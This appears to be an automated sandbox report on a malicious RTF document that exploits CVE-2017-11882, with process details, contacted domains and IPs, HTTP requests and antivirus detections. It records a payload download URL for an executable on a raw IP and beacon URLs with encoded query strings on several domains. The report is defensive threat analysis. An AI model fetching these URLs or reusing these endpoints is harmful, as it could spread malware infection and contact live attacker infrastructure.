Category | Machine | Started | Completed |
---|---|---|---|
FILE | s1_win7_x6403_us | Sept. 22, 2024, 5:16 p.m. | Sept. 22, 2024, 5:18 p.m. |
-
WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office15\WINWORD.EXE" C:\Users\test22\AppData\Local\Temp\wecreatednewthingsinthisworldtogetmebackwithnewthingstounderstandverywellthenicepersonevermadewithmeshecutebabygirl_____lovetoseeyou.doc
1256
Name | Response | Post-Analysis Lookup |
---|---|---|
www.antonio-vivaldi.mobi | ||
www.goldenjade-travel.com | 116.50.37.244 | |
www.3xfootball.com | 154.215.72.110 | |
www.kasegitai.tokyo | ||
www.magmadokum.com |
CNAME
redirect.natrocdn.com
|
85.159.66.93 |
www.sqlite.org | 45.33.6.223 |
Suricata Alerts
Suricata TLS
No Suricata TLS
suspicious_features | Connection to IP address | suspicious_request | GET http://104.243.38.54/600/audiodg.exe |
request | GET http://104.243.38.54/600/audiodg.exe |
request | POST http://www.3xfootball.com/fo8o/ |
request | GET http://www.3xfootball.com/fo8o/?6tE9=IhZyPQIGe6uK3zPwwQVGm4hCASyaX3xlW2eS79Xk6ut4afzj0LiRHBqZsEmyTx+18GfGhVOagMos+c9dx/PGjLGAfpOvJ7U3hUqpnKd0zHv/hQdGhX4G3JlCydyJ23yerjxn4r8=&9p=CzyK2TzevP2p |
request | GET http://www.sqlite.org/2017/sqlite-dll-win32-x86-3200000.zip |
request | POST http://www.goldenjade-travel.com/fo8o/ |
request | GET http://www.goldenjade-travel.com/fo8o/?6tE9=LFKqyrcu7g1NCa8bIVnmntQ0zrEKrQSprIMLtaWgKJ9bBKQr4dsn0J7ZoYUgIJ+R6Sel8OhXEcHhC7LyM9bkgjIIu2U6i6kbe5asCJcEX28JEcHJIWfCjODnuc7OiogdzaMrHf8=&9p=CzyK2TzevP2p |
request | POST http://www.magmadokum.com/fo8o/ |
request | GET http://www.magmadokum.com/fo8o/?6tE9=qL3nKp+YSjoaTomnND+fiETGbzpIgkHGMW8DXsDTZ4AADrD7Wpn1kxM1jYW2/C2WhyBblBh5NUSWrO5bZjyCcVkJYbxxq5QITB2h2xAyEikjbcoqZSmDOCeIE8A+B7hyBKIW8mw=&9p=CzyK2TzevP2p |
request | POST http://www.3xfootball.com/fo8o/ |
request | POST http://www.goldenjade-travel.com/fo8o/ |
request | POST http://www.magmadokum.com/fo8o/ |
file | C:\Users\test22\AppData\Local\Temp\~$creatednewthingsinthisworldtogetmebackwithnewthingstounderstandverywellthenicepersonevermadewithmeshecutebabygirl_____lovetoseeyou.doc |
filetype_details | Rich Text Format data, version 1, unknown character set | filename | wecreatednewthingsinthisworldtogetmebackwithnewthingstounderstandverywellthenicepersonevermadewithmeshecutebabygirl_____lovetoseeyou.doc |
host | 104.243.38.54 |
MicroWorld-eScan | Exploit.RTF-ObfsObjDat.Gen |
CTX | rtf.exploit-kit.obfsobjdat |
CAT-QuickHeal | Exp.RTF.Obfus.Gen |
ALYac | Exploit.RTF-ObfsObjDat.Gen |
VIPRE | Exploit.RTF-ObfsObjDat.Gen |
Sangfor | Malware.Generic-RTF.Save.ecfa366c |
Arcabit | Exploit.RTF-ObfsObjDat.Gen |
VirIT | Trojan.RTF.Heur.A |
Symantec | Bloodhound.RTF.20 |
ESET-NOD32 | multiple detections |
Avast | RTF:Obfuscated-gen [Trj] |
Cynet | Malicious (score: 99) |
Kaspersky | HEUR:Exploit.MSOffice.Generic |
BitDefender | Exploit.RTF-ObfsObjDat.Gen |
NANO-Antivirus | Exploit.Rtf.Heuristic-rtf.dinbqn |
Rising | Exploit.Generic!1.EB5C (CLASSIC) |
Emsisoft | Exploit.RTF-ObfsObjDat.Gen (B) |
F-Secure | Heuristic.HEUR/Rtf.Malformed |
DrWeb | Exploit.CVE-2017-11882.123 |
TrendMicro | HEUR_RTFMALFORM |
Sophos | Troj/RtfExp-EQ |
Ikarus | Exploit.CVE-2017-11882 |
FireEye | Exploit.RTF-ObfsObjDat.Gen |
Detected | |
Avira | HEUR/Rtf.Malformed |
Antiy-AVL | Trojan[Exploit]/MSOffice.CVE-2017-11882 |
ZoneAlarm | HEUR:Exploit.MSOffice.Generic |
GData | Exploit.RTF-ObfsObjDat.Gen |
Varist | CVE-2017-11882.C.gen!Camelot |
AhnLab-V3 | RTF/Malform-A.Gen |
McAfee | RTFObfustream.c!16E108820A62 |
Zoner | Probably Heur.RTFObfuscation |
huorong | Exploit/CVE-2017-11882.gen |
Fortinet | MSOffice/CVE_2017_11882.DMP!exploit |
AVG | RTF:Obfuscated-gen [Trj] |